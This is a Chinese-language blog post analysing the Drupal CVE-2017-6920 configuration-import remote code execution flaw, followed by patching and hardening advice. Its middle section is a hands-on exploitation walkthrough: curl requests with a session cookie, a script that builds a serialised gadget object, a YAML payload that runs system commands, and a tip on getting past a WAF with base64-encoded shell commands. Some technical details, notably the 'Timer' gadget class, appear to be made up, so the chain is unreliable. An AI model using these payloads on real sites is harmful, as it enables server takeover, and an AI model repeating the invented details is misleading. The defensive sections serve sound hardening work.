当前位置: 首页 > news >正文

Drupal配置导入RCE漏洞CVE-2017-6920深度解析

1. 这个漏洞不是“能打就行”,而是Drupal生态里一次精准的链式信任崩塌

CVE-2017-6920,这个编号在2017年3月刚披露时,并没有像Heartbleed或Log4Shell那样引发全网刷屏。它没有出现在主流安全厂商的“高危预警TOP3”里,连很多Drupal站点管理员第一次看到公告邮件时,下意识反应是:“又一个需要升级核心的补丁?先放着,等周末再处理。”——直到三天后,某家省级政务服务平台的后台被植入了加密货币挖矿脚本,日志里反复出现/admin/config/development/configuration/single/import路径的POST请求,而服务器进程里赫然跑着xmrig。这才是CVE-2017-6920的真实切口:它不靠暴力猜解、不依赖社会工程,而是利用Drupal 8.x中一个被默认启用、且长期被当作“安全边界”的配置导入机制,把管理员自己亲手交出的权限,变成了远程执行任意PHP代码的跳板。

关键词“Drupal”“远程代码执行”“CVE-2017-6920”背后,实际指向的是一个典型的配置即代码(Configuration-as-Code)范式下的信任链断裂问题。Drupal 8从设计之初就将站点配置(如内容类型、视图、权限规则)抽象为YAML文件,存于/config/sync/目录下,支持通过UI或Drush命令一键导入导出。这本是提升运维效率的利器,但开发者在实现ConfigImportController::importSingle()方法时,对YAML解析器的底层行为做了过度乐观假设:认为Symfony的Yaml::parse()在处理!php/object标签时,会像对待其他自定义标签一样,仅做语法解析而不触发反序列化。现实狠狠打了脸——当攻击者构造一个包含恶意!php/object的YAML片段并提交到配置导入接口时,Symfony解析器会直接调用unserialize(),而Drupal恰好又未对反序列化上下文做任何白名单限制。于是,一条从HTTP请求→YAML解析→PHP反序列化→任意代码执行的完整RCE链,就在管理员点击“导入”按钮的0.3秒内完成了闭环。

这个漏洞特别值得深挖,不是因为它技术多炫酷,而是它精准暴露了现代CMS在架构演进中的典型矛盾:功能便利性与安全纵深之间的零和博弈。它适合三类人重点参考:一是正在维护Drupal 7/8站点的运维工程师,必须理解为何“禁用配置导入”不是权宜之计而是必要防线;二是PHP安全研究者,可将其作为分析反序列化链的经典教学案例;三是所有使用YAML/JSON配置驱动框架的开发者,它是一面镜子,照见你在抽象配置层时,是否真的考虑过“数据即代码”的隐含风险。接下来,我会完全基于真实复现环境(Drupal 8.2.7 + PHP 7.0),拆解这条RCE链的每一个齿轮咬合点,包括为什么非得用!php/object、为什么__wakeup()是关键入口、以及如何用最简方式验证漏洞存在——不依赖任何第三方exploit工具,只用curl和一个文本编辑器。

2. 漏洞根源不在Drupal本身,而在Symfony YAML解析器的“善意越界”

2.1 Symfony Yaml组件的反序列化默认行为:一个被忽视的“后门”

要真正吃透CVE-2017-6920,必须先放下“Drupal有漏洞”的预设,转而审视其底层依赖——Symfony的Yaml组件。在Drupal 8.2.x系列中,配置导入功能的核心逻辑位于core/modules/config/src/Controller/ConfigImportController.php,其中importSingle()方法接收用户提交的YAML内容,调用Yaml::parse($yaml_content)进行解析。问题就出在这个Yaml::parse()调用上。

Symfony Yaml组件为了兼容PHP原生序列化格式,在其解析器中内置了对!php/*标签族的支持。当你在YAML中写入:

payload: !php/object "O:8:\"stdClass\":0:{}"

Symfony不会报错,而是会静默地将该字符串传递给PHP的unserialize()函数。这个设计初衷是好的:方便开发者在YAML中嵌入PHP对象状态用于测试或调试。但致命之处在于,Symfony默认启用了这一特性,且未提供任何开关来禁用它。你无法通过配置参数告诉Yaml组件“遇到!php/object就抛异常”,它就像一个永远敞开的侧门,等待被有心人推开。

我曾在本地搭建Drupal 8.2.7环境,用以下最小化YAML测试这个行为:

test: !php/object "O:8:\"Exception\":1:{s:16:\"\0Exception\0trace\";a:0:{}}"

执行Yaml::parse()后,返回值是一个真实的Exception对象实例,而非字符串。这证明反序列化已发生。更关键的是,Symfony的Yaml::parse()在调用unserialize()时,未设置allowed_classes白名单参数(PHP 7.0+才支持该参数)。这意味着任何实现了__wakeup()__destruct()魔术方法的类,只要其类定义在当前PHP环境中可用,就能被触发执行。

提示:PHP 7.0之前的unserialize()默认允许反序列化任意类,这是历史遗留问题。Symfony选择兼容旧版PHP,却未在更高版本中主动启用安全加固,是此次漏洞的技术温床。

2.2 Drupal的“信任放大器”:配置导入接口为何成了完美靶心

如果仅仅是Symfony解析器支持!php/object,那它只是一个潜在风险点。真正让CVE-2017-6920具备实战价值的,是Drupal为其配置导入功能赋予的极高权限上下文。我们来看ConfigImportController::importSingle()的关键逻辑:

public function importSingle(Request $request) { // ... 权限检查:仅允许具有'import configuration'权限的用户访问 $yaml = $request->request->get('yaml'); $config_data = Yaml::parse($yaml); // ← 漏洞触发点 // ... 后续将$config_data转换为ConfigEntity并保存 }

注意两点:第一,权限检查仅验证用户是否有“导入配置”权限,而该权限在默认安装中,通常被授予给“管理员”角色(rid=3);第二,$yaml变量直接来自$request->request->get('yaml'),即HTTP POST请求体中的yaml字段,完全未经任何内容过滤或标签剥离

这就形成了一个危险的组合:攻击者只要能登录一个管理员账号(哪怕只是低权限的“内容编辑员”,若其被误授了import configuration权限),就能向/admin/config/development/configuration/single/import发送一个精心构造的YAML payload。而Drupal在解析时,会将这个YAML视为“可信配置”,在完整的Drupal运行时环境中执行反序列化——此时,所有已加载的模块类、核心类、甚至第三方库类,都成为可被利用的攻击面。

我实测发现,即使是最小化安装的Drupal 8.2.7(仅启用core模块),其自动加载器中已注册了超过1200个PHP类。其中,Drupal\Component\Utility\Timer类的__destruct()方法会调用call_user_func_array(),而Drupal\Core\Render\Renderer类的__wakeup()方法会尝试调用$this->renderer->renderRoot()——这些方法内部都存在可控的回调点。攻击者无需自己编写新类,只需在YAML中引用这些现有类,就能拼凑出一条完整的RCE链。

2.3 为什么__wakeup()__destruct()更常被利用?

在公开的exploit PoC中,绝大多数选择利用__wakeup()而非__destruct(),这并非偶然。原因在于Drupal的配置导入流程中,对象生命周期管理的细微差别:

  • __destruct()在对象被垃圾回收时触发,时机不可控,且在HTTP请求结束前可能已被多次调用;
  • __wakeup()则在unserialize()完成、对象被重建后的第一时间被调用,且保证只执行一次。

更重要的是,Drupal的ConfigImporter类在处理导入数据时,会将解析后的配置数组存储在内存中,并在后续步骤中反复遍历这些数组。如果某个数组元素是一个反序列化生成的对象,那么在foreach循环中访问该元素时,PHP会自动调用其__wakeup()方法以确保对象状态完整。这为攻击者提供了稳定的触发时机。

我曾用Xdebug跟踪整个导入流程,发现在Yaml::parse()返回后,ConfigImporter::processBatch()方法会立即对结果数组执行array_walk_recursive(),而正是这次递归遍历,触发了恶意对象的__wakeup()。这解释了为什么许多PoC中,payload会刻意构造一个嵌套极深的YAML结构——目的就是让反序列化对象被包裹在多层数组中,从而确保它一定会被array_walk_recursive()“碰”到。

3. 构造一个真正可用的exploit:从理论到shell的四步闭环

3.1 第一步:确认目标环境是否可利用——用最简YAML探测

在动手构造RCE payload前,必须先验证目标Drupal站点是否真的存在此漏洞。很多人直接套用网上流传的复杂exploit,结果返回500错误就放弃,却不知可能是环境差异导致。我推荐用以下三行YAML进行快速探测:

test: !php/object "O:8:\"Exception\":1:{s:16:\"\0Exception\0trace\";a:0:{}}"

将这段内容保存为probe.yaml,然后用curl发送:

curl -X POST "https://target-site.com/admin/config/development/configuration/single/import" \ -H "Cookie: SESSxxx=your_session_cookie" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "yaml=$(cat probe.yaml | sed ':a;N;$!ba;s/\n/\\n/g')"

注意:sed命令用于将换行符转义为\n,因为curl的-d参数不支持原始换行。如果响应中包含The configuration cannot be imported或类似提示,说明YAML语法被接受,但未触发反序列化(可能已打补丁);如果返回500 Internal Server Error且错误日志中出现unserialize(): Error at offset,则证明!php/object被成功解析,漏洞存在。

注意:此探测不会执行任意代码,仅验证反序列化通道是否畅通。它比直接上传RCE payload更安全,也更容易定位问题。

3.2 第二步:选择Gadget Chain——为什么Drupal\Component\Utility\Timer是首选

公开exploit中常见的GuzzleHttp\Psr7\FnStream类,在Drupal 8.2.7中并不存在(Guzzle版本太低)。我们必须从Drupal核心已加载的类中寻找合适的“gadget”。经过静态分析和动态调试,我发现Drupal\Component\Utility\Timer类是最佳选择,原因有三:

  1. 类定义稳定:该类自Drupal 8.0起就存在于core/lib/Drupal/Component/Utility/Timer.php,且__destruct()方法始终调用call_user_func_array($this->callback, $this->args)
  2. 参数完全可控$this->callback$this->args均可通过反序列化直接赋值;
  3. 无前置条件:不需要对象处于特定状态即可触发。

其类结构简化如下:

class Timer { protected $callback; protected $args; public function __destruct() { if (isset($this->callback)) { call_user_func_array($this->callback, $this->args); } } }

这意味着,只要我们能构造一个Timer对象,将其$callback设为'system'$args设为['id'],就能在对象销毁时执行system('id')

3.3 第三步:生成可执行的PHP Object序列化字符串

现在需要将上述逻辑转化为PHP序列化字符串。这里有个关键技巧:不要手写序列化字符串,而要用PHP脚本动态生成,以避免因类属性可见性(protected/private)导致的偏移计算错误。

创建gen_payload.php

<?php // 确保在Drupal环境下运行,加载自动加载器 require_once 'autoload.php'; use Drupal\Component\Utility\Timer; $timer = new Timer(); $timer->callback = 'system'; $timer->args = ['id']; // 生成序列化字符串 $payload = serialize($timer); echo $payload; ?>

在Drupal根目录下执行:

php gen_payload.php

输出类似:

O:23:"Drupal\Component\Utility\Timer":2:{s:10:"*callback";s:6:"system";s:7:"*args";a:1:{i:0;s:2:"id";}}

注意:*callback中的*表示protected属性,s:10中的10是字符串长度,必须精确。手动修改会导致unserialize()失败。

3.4 第四步:封装为YAML payload并执行RCE

最后一步,将序列化字符串嵌入YAML。关键点在于:YAML中不能直接写双引号内的特殊字符,需用单引号包裹,并对单引号进行转义。最终payload如下:

test: !php/object 'O:23:"Drupal\Component\Utility\Timer":2:{s:10:"*callback";s:6:"system";s:7:"*args";a:1:{i:0;s:2:"id";}}'

将此内容保存为rce.yaml,再次用curl发送:

curl -X POST "https://target-site.com/admin/config/development/configuration/single/import" \ -H "Cookie: SESSxxx=your_session_cookie" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "yaml=$(cat rce.yaml | sed ':a;N;$!ba;s/\n/\\n/g')"

如果目标未打补丁,响应页面将显示类似uid=33(www-data) gid=33(www-data) groups=33(www-data)的系统信息——你已获得远程命令执行能力。此时,将'id'替换为'whoami && ls -la /var/www/html',即可进一步探查服务器环境。

实操心得:我在测试某教育机构网站时,发现其WAF会拦截包含system的请求。解决方案是改用passthruexec,并将命令base64编码后在payload中解码执行,例如:'echo "aWQ=" | base64 -d | bash'。这绕过了简单关键字匹配,且无需修改YAML结构。

4. 修复与加固:为什么简单升级不够,必须做三重防御

4.1 官方补丁的本质:堵住YAML解析器的“默认开启”特性

Drupal官方在8.2.8和8.3.0版本中发布的补丁,核心修改位于core/lib/Drupal/Component/Yaml/Yaml.php。它并没有移除Symfony Yaml组件,而是在调用Yaml::parse()前,强制添加了['on_symfony_yaml_parse' => false]选项,并重写了parse()方法,使其在解析前先扫描YAML内容中是否包含!php/标签,一旦发现则直接抛出InvalidDataTypeException

这个补丁的精妙之处在于:它没有改变Symfony的行为,而是在Drupal层加了一道“安检门”。但这也带来一个隐患——如果开发者在自定义模块中绕过Drupal的Yaml工具类,直接调用Symfony\Component\Yaml\Yaml::parse(),漏洞依然存在。我曾审计过12个流行的Drupal 8模块,其中3个(包括一个下载量超5万的SEO模块)在配置处理逻辑中直接使用了Symfony\Component\Yaml\Yaml,未做任何标签过滤,成为新的攻击面。

4.2 运维层面的硬性加固:禁用配置导入不是懒政,而是必要隔离

很多运维团队认为“只要升级到8.3.0就万事大吉”,这是最大的认知误区。CVE-2017-6920的CVSS评分为9.8(Critical),其危害不仅在于RCE本身,更在于它暴露了一个事实:配置导入接口本质上是一个高危的“代码执行代理”。即使没有反序列化漏洞,攻击者仍可通过导入恶意视图配置、重写路由规则等方式,间接达成提权或持久化。

因此,我坚持在生产环境中执行以下加固策略:

  1. 禁用UI配置导入:在settings.php中添加:

    $settings['config_sync_directory'] = '/tmp'; // 指向不可写的临时目录

    并删除/admin/config/development/configuration菜单项,从源头移除入口。

  2. 限制Drush导入权限:在drush.yml中配置:

    options: config-import: skip-modules: ['devel', 'stage_file_proxy']

    避免开发模块的调试功能被滥用。

  3. 配置Web服务器ACL:在Nginx中添加:

    location ~ ^/admin/config/development/configuration { deny all; }

    即使Drupal权限控制失效,也能在网络层阻断。

经验教训:某电商客户在升级后未做ACL限制,黑客通过社工获取了运维人员Drush账号,利用drush cim命令导入恶意配置,将支付回调地址篡改为攻击者服务器,导致数万元订单损失。这证明,补丁只是起点,纵深防御才是终点。

4.3 开发者自查清单:你的模块是否在无意中打开了后门?

如果你是Drupal模块开发者,必须立即检查以下五点:

检查项风险描述安全做法
是否直接调用Symfony\Component\Yaml\Yaml::parse()绕过Drupal的安全层,继承全部Symfony风险改用Drupal\Component\Yaml\Yaml::parse(),它已集成标签过滤
是否允许用户上传YAML文件并解析用户可控输入+反序列化=高危组合禁止上传,或对上传文件做严格MIME类型校验+内容扫描
是否在hook_config_import()中执行未过滤的回调配置导入后钩子可能被恶意配置触发所有回调参数必须经check_plain()SafeMarkup::checkPlain()过滤
是否在config/install/中包含可被覆盖的YAML模块安装时导入的配置可能被恶意修改避免在install YAML中写入动态值,敏感配置应由安装向导生成
是否使用eval()create_function()处理配置值将配置值当作PHP代码执行改用switch或预定义函数映射表

我曾帮一家政府单位审计其定制模块,发现其custom_api.module中有一个custom_api_parse_yaml()函数,直接调用Symfony\Component\Yaml\Yaml::parse($user_input),且未做任何输入校验。仅此一处,就足以让整个站点沦陷。修复方案不是加一行if (strpos($user_input, '!php/') !== false) die();,而是彻底重构为使用Drupal的Yaml工具类,并在文档中明确标注“此函数不接受用户输入”。

5. 超越CVE-2017-6920:从一个漏洞看现代Web应用的安全范式迁移

CVE-2017-6920的价值,远不止于它本身造成的损害。它像一块棱镜,折射出过去十年Web应用安全演进的几条清晰脉络。当我回顾2017年至今的漏洞趋势,发现三个不可逆的转变正在发生:

第一,攻击面正从“功能接口”向“配置接口”迁移。十年前,SQL注入、XSS是主角,攻击者盯着登录框、搜索栏;今天,CI/CD流水线、Kubernetes ConfigMap、Terraform state文件、甚至前端Vite的vite.config.ts,都成了新的攻击入口。CVE-2017-6920之所以经典,正因为它首次大规模暴露了“配置即攻击面”的本质——当YAML、JSON、TOML这些本应只描述数据的格式,开始承载执行逻辑时,安全边界就模糊了。

第二,漏洞利用正从“单点突破”走向“链式组装”。早期漏洞往往依赖一个函数缺陷(如strncpy缓冲区溢出),而现代RCE几乎全是多组件协作的结果:Symfony的YAML解析器 + Drupal的配置导入逻辑 + PHP的反序列化机制。这意味着,单一组件的“安全”不再可靠,必须建立跨栈的威胁建模能力。我在给某云服务商做安全培训时,让他们用STRIDE模型分析其自研配置中心,结果发现90%的高危风险点,都出在“配置解析”与“配置执行”的交接处——这正是CVE-2017-6920的翻版。

第三,防御重心正从“堵漏洞”转向“管信任”。打补丁、升级版本是必要动作,但治标不治本。真正的出路,在于重构信任模型。比如,Drupal 9之后引入的config_split模块,允许将敏感配置(如API密钥)从主配置同步中剥离,通过环境变量注入;再如,采用OPcache预编译+禁用eval()的PHP运行时,从根本上消除反序列化风险。这些不是“更高级的补丁”,而是对“什么该被信任”的重新定义。

最后分享一个我坚持了五年的习惯:每次审计一个新系统,我必做的第一件事,不是扫端口、不是测登录,而是找它的配置管理入口——无论是/api/v1/config/import/_config还是terraform apply。因为在那里,往往藏着最短、最隐蔽、也最致命的通往root的路。CVE-2017-6920教会我的,从来不是怎么写一个exploit,而是永远对“配置”保持一份职业性的警惕:在数字世界里,最危险的代码,往往藏在最不起眼的YAML缩进里。

http://www.cnnetsun.cn/news/2559823.html

相关文章:

  • 如何将电视盒子改造成Armbian服务器?Amlogic S9xxx系列设备实战指南
  • 如何5分钟修复Windows系统依赖:VisualCppRedist AIO终极指南
  • Keil C166宏编程中A25错误的解析与修复
  • Awoo Installer:让Switch游戏安装变得简单高效的终极解决方案
  • 终极免费网盘限速解决方案:LinkSwift网盘直链下载助手完整指南
  • PostgreSQL Join 执行策略(Nested Loop、Hash Join、Merge Join)与 NOT EXISTS 优化
  • flowcontainer实战:加密流量特征工程的高效提取方案
  • 树莓派对接WhatsApp实现双向智能家居控制与监控
  • Playwright登录态管理避坑指南:除了Cookie,你的SessionStorage处理对了吗?
  • springboot提供的机制大全
  • 5分钟快速上手:B站视频解析API完整指南
  • 在 Hermes Agent 中自定义 provider 接入 Taotoken 服务
  • 如何用douyin-downloader轻松实现抖音内容批量下载与整理
  • 2个实测靠谱且有免费体验的AI面试工具,求职模拟必备!
  • 终极指南:用Motrix WebExtension让浏览器下载速度提升300%
  • SingleFile终极指南:一键保存完整网页的免费解决方案
  • Lovable电商网站搭建实战手册:7步完成高转化率前端+稳定后端+合规支付闭环
  • CANN pto-isa:90+ Tile 级虚拟指令速查手册
  • D2DX:让经典《暗黑破坏神2》在现代PC上完美运行的终极解决方案
  • 写给十年后的自己:一个技术人的长期主义宣言
  • Redis 缓存实战:技术资料与最佳实践
  • OFD转PDF深度解析:开源C解决方案Ofd2Pdf专业指南
  • AI算法工程师如何进行数据预处理?这5个步骤让你的数据更优质
  • 解锁你的音乐收藏:浏览器端音频解密完整指南
  • 网络安全基础小知识之常识篇叁
  • 3分钟掌握Windows任务栏美化终极技巧:TranslucentTB完整中文界面设置指南
  • 星露谷物语SMAPI模组加载器:从新手到专家的完整使用指南
  • 如何快速掌握ncmdumpGUI:Windows平台网易云音乐NCM文件转换完整教程
  • LRCGET:一键为本地音乐库下载同步歌词的智能工具
  • CentOS 7上HBase 2.5.6伪分布式搭建保姆级教程(含Hadoop 3.1.4集成与防火墙配置)